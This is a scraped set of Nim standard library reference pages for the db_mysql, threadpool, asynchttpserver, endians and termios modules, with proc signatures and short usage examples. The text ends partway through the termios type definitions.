nim db_mysql db\_mysql ========= A higher level mySQL database wrapper. The same interface is implemented for other databases too. See also: <db_odbc>, <db_sqlite>, <db_postgres>. Parameter substitution ---------------------- All `db_*` modules support the same form of parameter substitution. That is, using the `?` (question mark) to signify the place where a value should be placed. For example: ``` sql"INSERT INTO myTable (colA, colB, colC) VALUES (?, ?, ?)" ``` Examples -------- ### Opening a connection to a database ``` import db_mysql let db = open("localhost", "user", "password", "dbname") db.close() ``` ### Creating a table ``` db.exec(sql"DROP TABLE IF EXISTS myTable") db.exec(sql("""CREATE TABLE myTable ( id integer, name varchar(50) not null)""")) ``` ### Inserting data ``` db.exec(sql"INSERT INTO myTable (id, name) VALUES (0, ?)", "Dominik") ``` ### Larger example ``` import db_mysql, math let theDb = open("localhost", "nim", "nim", "test") theDb.exec(sql"Drop table if exists myTestTbl") theDb.exec(sql("create table myTestTbl (" & " Id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY, " & " Name VARCHAR(50) NOT NULL, " & " i INT(11), " & " f DECIMAL(18,10))")) theDb.exec(sql"START TRANSACTION") for i in 1..1000: theDb.exec(sql"INSERT INTO myTestTbl (name,i,f) VALUES (?,?,?)", "Item#" & $i, i, sqrt(i.float)) theDb.exec(sql"COMMIT") for x in theDb.fastRows(sql"select * from myTestTbl"): echo x let id = theDb.tryInsertId(sql"INSERT INTO myTestTbl (name,i,f) VALUES (?,?,?)", "Item#1001", 1001, sqrt(1001.0)) echo "Inserted item: ", theDb.getValue(sql"SELECT name FROM myTestTbl WHERE id=?", id) theDb.close() ``` Imports ------- <strutils>, <mysql>, <db_common>, <since> Types ----- ``` DbConn = distinct PMySQL ``` encapsulates a database connection [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L94) ``` Row = seq[string] ``` a row of a dataset. NULL database values will be converted to nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L95) ``` InstantRow = object row: cstringArray len: int ``` a handle that can be used to get a row's column text on demand [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L97) Procs ----- ``` proc dbError(db: DbConn) {...}{.noreturn, raises: [DbError], tags: [].} ``` raises a DbError exception. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L102) ``` proc dbQuote(s: string): string {...}{.raises: [], tags: [].} ``` DB quotes the string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L119) ``` proc tryExec(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): bool {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [].} ``` tries to execute the query and returns true if successful, false otherwise. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L149) ``` proc exec(db: DbConn; query: SqlQuery; args: varargs[string, `$`]) {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` executes the query and raises EDB if not successful. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L159) ``` proc `[]`(row: InstantRow; col: int): string {...}{.inline, raises: [], tags: [].} ``` Returns text for given column of the row. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L299) ``` proc unsafeColumnAt(row: InstantRow; index: int): cstring {...}{.inline, raises: [], tags: [].} ``` Return cstring of given column of the row [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L303) ``` proc len(row: InstantRow): int {...}{.inline, raises: [], tags: [].} ``` Returns number of columns in the row. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L307) ``` proc getRow(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` Retrieves a single row. If the query doesn't return any rows, this proc will return a Row with empty strings for each column. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L311) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L311) ``` proc getAllRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): seq[ Row] {...}{.tags: [ReadDbEffect], raises: [DbError].} ``` executes the query and returns the whole result dataset. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L327) ``` proc getValue(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): string {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` executes the query and returns the first column of the first row of the result dataset. Returns "" if the dataset contains no rows or the database value is NULL. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L352) ``` proc tryInsertId(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [WriteDbEffect], raises: [].} ``` executes the query (typically "INSERT") and returns the generated ID for the row or -1 in case of an error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L359) ``` proc insertId(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [WriteDbEffect], raises: [DbError].} ``` executes the query (typically "INSERT") and returns the generated ID for the row. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L369) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L369) ``` proc tryInsert(db: DbConn; query: SqlQuery; pkName: string; args: varargs[string, `$`]): int64 {...}{.tags: [WriteDbEffect], raises: [].} ``` same as tryInsertID [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L376) ``` proc insert(db: DbConn; query: SqlQuery; pkName: string; args: varargs[string, `$`]): int64 {...}{.tags: [WriteDbEffect], raises: [DbError].} ``` same as insertId [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L382) ``` proc execAffectedRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): int64 {...}{. tags: [ReadDbEffect, WriteDbEffect], raises: [DbError].} ``` runs the query (typically "UPDATE") and returns the number of affected rows [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L389) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L389) ``` proc close(db: DbConn) {...}{.tags: [DbEffect], raises: [].} ``` closes the database connection. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L397) ``` proc open(connection, user, password, database: string): DbConn {...}{. tags: [DbEffect], raises: [DbError, ValueError].} ``` opens a database connection. Raises `EDb` if the connection could not be established. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L401) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L401) ``` proc setEncoding(connection: DbConn; encoding: string): bool {...}{.tags: [DbEffect], raises: [].} ``` sets the encoding of a database connection, returns true for success, false for failure. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L420) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L420) Iterators --------- ``` iterator fastRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` executes the query and iterates over the result dataset. This is very fast, but potentially dangerous. Use this iterator only if you require **ALL** the rows. Breaking the fastRows() iterator during a loop will cause the next database query to raise an [EDb] exception `Commands out of sync`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L174) ``` iterator instantRows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): InstantRow {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` Same as fastRows but returns a handle that can be used to get column text on demand using []. Returned handle is valid only within the iterator body. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L201) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L201) ``` iterator instantRows(db: DbConn; columns: var DbColumns; query: SqlQuery; args: varargs[string, `$`]): InstantRow {...}{. raises: [DbError], tags: [].} ``` Same as fastRows but returns a handle that can be used to get column text on demand using []. Returned handle is valid only within the iterator body. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L282) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L282) ``` iterator rows(db: DbConn; query: SqlQuery; args: varargs[string, `$`]): Row {...}{. tags: [ReadDbEffect], raises: [DbError].} ``` same as `fastRows`, but slower and safe. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_mysql.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_mysql.nim#L347) Exports ------- [DbTypeKind](db_common#DbTypeKind), [sql](db_common#sql.t,string), [DbType](db_common#DbType), [SqlQuery](db_common#SqlQuery), [DbColumn](db_common#DbColumn), [ReadDbEffect](db_common#ReadDbEffect), [DbError](db_common#DbError), [WriteDbEffect](db_common#WriteDbEffect), [dbError](db_common#dbError,string), [DbColumns](db_common#DbColumns), [DbEffect](db_common#DbEffect) nim threadpool threadpool ========== Implements Nim's [spawn](manual_experimental#parallel-amp-spawn). **See also:** * [threads module](threads) * [channels module](channels) * [locks module](locks) * [asyncdispatch module](asyncdispatch) Unstable API. Imports ------- <cpuinfo>, <cpuload>, <locks>, <os> Types ----- ``` FlowVarBase = ref FlowVarBaseObj ``` Untyped base class for `FlowVar[T]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L104) ``` FlowVar[T] {...}{.compilerProc.} = ref FlowVarObj[T] ``` A data flow variable. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L117) ``` ThreadId = range[0 .. MaxDistinguishedThread - 1] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L318) Consts ------ ``` MaxThreadPoolSize = 256 ``` Maximum size of the thread pool. 256 threads should be good enough for anybody ;-) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L313) ``` MaxDistinguishedThread = 32 ``` Maximum number of "distinguished" threads. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L315) Procs ----- ``` proc blockUntil(fv: var FlowVarBaseObj) {...}{.raises: [], tags: [].} ``` Waits until the value for the `fv` arrives. Usually it is not necessary to call this explicitly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L140) ``` proc awaitAndThen[T](fv: FlowVar[T]; action: proc (x: T) {...}{.closure.}) ``` Blocks until the `fv` is available and then passes its value to `action`. Note that due to Nim's parameter passing semantics this means that `T` doesn't need to be copied so `awaitAndThen` can sometimes be more efficient than [^ proc](#%5E,FlowVar%5BT%5D). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L232) ``` proc unsafeRead[T](fv: FlowVar[ref T]): ptr T ``` Blocks until the value is available and then returns this value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L250) ``` proc `^`[T](fv: FlowVar[T]): T ``` Blocks until the value is available and then returns this value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L259) ``` proc blockUntilAny(flowVars: openArray[FlowVarBase]): int {...}{.raises: [], tags: [].} ``` Awaits any of the given `flowVars`. Returns the index of one `flowVar` for which a value arrived. A `flowVar` only supports one call to `blockUntilAny` at the same time. That means if you `blockUntilAny([a,b])` and `blockUntilAny([b,c])` the second call will only block until `c`. If there is no `flowVar` left to be able to wait on, -1 is returned. **Note**: This results in non-deterministic behaviour and should be avoided. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L268) ``` proc isReady(fv: FlowVarBase): bool {...}{.raises: [], tags: [].} ``` Determines whether the specified `FlowVarBase`'s value is available. If `true`, awaiting `fv` will not block. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L297) ``` proc setMinPoolSize(size: range[1 .. MaxThreadPoolSize]) {...}{.raises: [], tags: [].} ``` Sets the minimum thread pool size. The default value of this is 4. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L399) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L399) ``` proc setMaxPoolSize(size: range[1 .. MaxThreadPoolSize]) {...}{.raises: [], tags: [].} ``` Sets the maximum thread pool size. The default value of this is `MaxThreadPoolSize` (256). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L403) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L403) ``` proc preferSpawn(): bool {...}{.raises: [], tags: [].} ``` Use this proc to determine quickly if a `spawn` or a direct call is preferable. If it returns `true`, a `spawn` may make sense. In general it is not necessary to call this directly; use [spawnX template](#spawnX.t) instead. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L444) ``` proc spawn(call: sink typed): void {...}{.magic: "Spawn".} ``` Always spawns a new task, so that the `call` is never executed on the calling thread. `call` has to be proc call `p(...)` where `p` is gcsafe and has a return type that is either `void` or compatible with `FlowVar[T]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L453) ``` proc pinnedSpawn(id: ThreadId; call: sink typed): void {...}{.magic: "Spawn".} ``` Always spawns a new task on the worker thread with `id`, so that the `call` is **always** executed on the thread. `call` has to be proc call `p(...)` where `p` is gcsafe and has a return type that is either `void` or compatible with `FlowVar[T]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L460) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L460) ``` proc parallel(body: untyped) {...}{.magic: "Parallel".} ``` A parallel section can be used to execute a block in parallel. `body` has to be in a DSL that is a particular subset of the language. Please refer to [the manual](manual_experimental#parallel-amp-spawn) for further information. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L478) ``` proc sync() {...}{.raises: [], tags: [TimeEffect].} ``` A simple barrier to wait for all `spawn`'ed tasks. If you need more elaborate waiting, you have to use an explicit barrier. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L587) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L587) Templates --------- ``` template spawnX(call) ``` Spawns a new task if a CPU core is ready, otherwise executes the call in the calling thread. Usually it is advised to use [spawn proc](#spawn,typed) in order to not block the producer for an unknown amount of time. `call` has to be proc call `p(...)` where `p` is gcsafe and has a return type that is either 'void' or compatible with `FlowVar[T]`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/concurrency/threadpool.nim#L467) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/concurrency/threadpool.nim#L467) nim asynchttpserver asynchttpserver =============== This module implements a high performance asynchronous HTTP server. This HTTP server has not been designed to be used in production, but for testing applications locally. Because of this, when deploying your application in production you should use a reverse proxy (for example nginx) instead of allowing users to connect directly to this server. Example ------- This example will create an HTTP server on port 8080. The server will respond to all requests with a `200 OK` response code and "Hello World" as the response body. ``` import asynchttpserver, asyncdispatch proc main {.async.} = var server = newAsyncHttpServer() proc cb(req: Request) {.async.} = let headers = {"Date": "Tue, 29 Apr 2014 23:40:08 GMT", "Content-type": "text/plain; charset=utf-8"} await req.respond(Http200, "Hello World", headers.newHttpHeaders()) server.listen Port(8080) while true: if server.shouldAcceptRequest(): await server.acceptRequest(cb) else: poll() asyncCheck main() runForever() ``` Imports ------- <asyncnet>, <asyncdispatch>, <parseutils>, <uri>, <strutils>, <httpcore> Types ----- ``` Request = object client*: AsyncSocket reqMethod*: HttpMethod headers*: HttpHeaders protocol*: tuple[orig: string, major, minor: int] url*: Uri hostname*: string ## The hostname of the client that made the request. body*: string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L59) ``` AsyncHttpServer = ref object socket: AsyncSocket reuseAddr: bool reusePort: bool maxBody: int ## The maximum content-length that will be read for the body. maxFDs: int ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L68) Consts ------ ``` nimMaxDescriptorsFallback = 16000 ``` fallback value for when `maxDescriptors` is not available. This can be set on the command line during compilation via `-d:nimMaxDescriptorsFallback=N` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L308) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L308) Procs ----- ``` proc newAsyncHttpServer(reuseAddr = true; reusePort = false; maxBody = 8388608): AsyncHttpServer {...}{. raises: [], tags: [].} ``` Creates a new `AsyncHttpServer` instance. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L75) ``` proc sendHeaders(req: Request; headers: HttpHeaders): Future[void] {...}{. raises: [Exception], tags: [RootEffect].} ``` Sends the specified headers to the requesting client. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L84) ``` proc respond(req: Request; code: HttpCode; content: string; headers: HttpHeaders = nil): Future[void] {...}{.raises: [Exception], tags: [RootEffect].} ``` Responds to the request with the specified `HttpCode`, headers and content. This procedure will **not** close the client socket. Example: ``` import json proc handler(req: Request) {.async.} = if req.url.path == "/hello-world": let msg = %* {"message": "Hello World"} let headers = newHttpHeaders([("Content-Type","application/json")]) await req.respond(Http200, $msg, headers) else: await req.respond(Http404, "Not Found") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L90) ``` proc listen(server: AsyncHttpServer; port: Port; address = "") {...}{. raises: [OSError, Exception, ValueError], tags: [RootEffect, WriteIOEffect, ReadIOEffect].} ``` Listen to the given port and address. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L313) ``` proc shouldAcceptRequest(server: AsyncHttpServer; assumedDescriptorsPerRequest = 5): bool {...}{.inline, raises: [], tags: [].} ``` Returns true if the process's current number of opened file descriptors is still within the maximum limit and so it's reasonable to accept yet another request. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L327) ``` proc acceptRequest(server: AsyncHttpServer; callback: proc (request: Request): Future[ void] {...}{.closure, gcsafe.}): owned(Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` Accepts a single request. Write an explicit loop around this proc so that errors can be handled properly. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L336) ``` proc serve(server: AsyncHttpServer; port: Port; callback: proc (request: Request): Future[void] {...}{.closure, gcsafe.}; address = ""; assumedDescriptorsPerRequest = -1): owned(Future[void]) {...}{. raises: [Exception], tags: [RootEffect, WriteIOEffect, ReadIOEffect, TimeEffect].} ``` Starts the process of listening for incoming HTTP connections on the specified address and port. When a request is made by a client the specified callback will be called. If `assumedDescriptorsPerRequest` is 0 or greater the server cares about the process's maximum file descriptor limit. It then ensures that the process still has the resources for `assumedDescriptorsPerRequest` file descriptors before accepting a connection. You should prefer to call `acceptRequest` instead with a custom server loop so that you're in control over the error handling and logging. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L345) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L345) ``` proc close(server: AsyncHttpServer) {...}{.raises: [Exception, LibraryError, SslError], tags: [RootEffect].} ``` Terminates the async http server instance. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asynchttpserver.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asynchttpserver.nim#L368) Exports ------- [Http417](httpcore#Http417), [Http503](httpcore#Http503), [Http431](httpcore#Http431), [==](httpcore#==,tuple%5Bstring,int,int%5D,HttpVersion), [contains](httpcore#contains,HttpHeaderValues,string), [Http304](httpcore#Http304), [Http406](httpcore#Http406), [==](httpcore#==,string,HttpCode), [$](httpcore#%24,HttpHeaders), [clear](httpcore#clear,HttpHeaders), [Http408](httpcore#Http408), [$](httpcore#%24,HttpMethod), [Http411](httpcore#Http411), [is3xx](httpcore#is3xx,HttpCode), [Http418](httpcore#Http418), [Http206](httpcore#Http206), [HttpMethod](httpcore#HttpMethod), [Http101](httpcore#Http101), [httpNewLine](httpcore#httpNewLine), [Http505](httpcore#Http505), [Http413](httpcore#Http413), [newHttpHeaders](httpcore#newHttpHeaders), [Http200](httpcore#Http200), [[]=](httpcore#%5B%5D=,HttpHeaders,string,string), [Http414](httpcore#Http414), [add](httpcore#add,HttpHeaders,string,string), [Http401](httpcore#Http401), [Http205](httpcore#Http205), [==](httpcore#==,HttpCode,HttpCode), [Http407](httpcore#Http407), [Http500](httpcore#Http500), [Http404](httpcore#Http404), [Http416](httpcore#Http416), [Http308](httpcore#Http308), [Http302](httpcore#Http302), [HttpHeaders](httpcore#HttpHeaders), [Http300](httpcore#Http300), [Http428](httpcore#Http428), [Http410](httpcore#Http410), [is2xx](httpcore#is2xx,HttpCode), [Http202](httpcore#Http202), [Http502](httpcore#Http502), [headerLimit](httpcore#headerLimit), [HttpHeaderValues](httpcore#HttpHeaderValues), [contains](httpcore#contains,set%5BHttpMethod%5D,string), [newHttpHeaders](httpcore#newHttpHeaders,openArray%5Btuple%5Bstring,string%5D%5D), [$](httpcore#%24,HttpCode), [[]](httpcore#%5B%5D,HttpHeaders,string), [Http305](httpcore#Http305), [Http451](httpcore#Http451), [Http409](httpcore#Http409), [Http504](httpcore#Http504), [Http426](httpcore#Http426), [hasKey](httpcore#hasKey,HttpHeaders,string), [del](httpcore#del,HttpHeaders,string), [pairs](httpcore#pairs.i,HttpHeaders), [Http429](httpcore#Http429), [HttpVersion](httpcore#HttpVersion), [[]=](httpcore#%5B%5D=,HttpHeaders,string,seq%5Bstring%5D), [Http421](httpcore#Http421), [Http307](httpcore#Http307), [Http301](httpcore#Http301), [is4xx](httpcore#is4xx,HttpCode), [Http203](httpcore#Http203), [getOrDefault](httpcore#getOrDefault,HttpHeaders,string), [Http100](httpcore#Http100), [Http501](httpcore#Http501), [len](httpcore#len,HttpHeaders), [Http400](httpcore#Http400), [Http403](httpcore#Http403), [is5xx](httpcore#is5xx,HttpCode), [Http415](httpcore#Http415), [toString](httpcore#toString.c,HttpHeaderValues), [Http412](httpcore#Http412), [Http405](httpcore#Http405), [Http303](httpcore#Http303), [Http204](httpcore#Http204), [Http201](httpcore#Http201), [HttpCode](httpcore#HttpCode), [Http422](httpcore#Http422), [[]](httpcore#%5B%5D,HttpHeaders,string,int)
programming_docs
nim endians endians ======= This module contains helpers that deal with different byte orders (endian). Unstable API. Procs ----- ``` proc swapEndian64(outp, inp: pointer) {...}{.inline, noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L58) ``` proc swapEndian32(outp, inp: pointer) {...}{.inline, noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L61) ``` proc swapEndian16(outp, inp: pointer) {...}{.inline, noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L64) ``` proc littleEndian64(outp, inp: pointer) {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L108) ``` proc littleEndian32(outp, inp: pointer) {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L109) ``` proc littleEndian16(outp, inp: pointer) {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L110) ``` proc bigEndian64(outp, inp: pointer) {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L111) ``` proc bigEndian32(outp, inp: pointer) {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L112) ``` proc bigEndian16(outp, inp: pointer) {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/endians.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/endians.nim#L113) nim termios termios ======= Imports ------- <posix> Types ----- ``` Speed = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L13) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L13) ``` Cflag = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/posix/termios.nim#L14) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/posix/termios.nim#L14) ``` Termios {...}{.importc: "struct termios", header: "<termios.h>".} = object c_iflag*: Cflag c_oflag*: Cflag c_cflag*: Cflag c_lflag*: Cflag c_line*: cuchar c_cc*: array[NCCS, cuchar] c_ispeed*: Speed c_ospeed*: Speed ``` 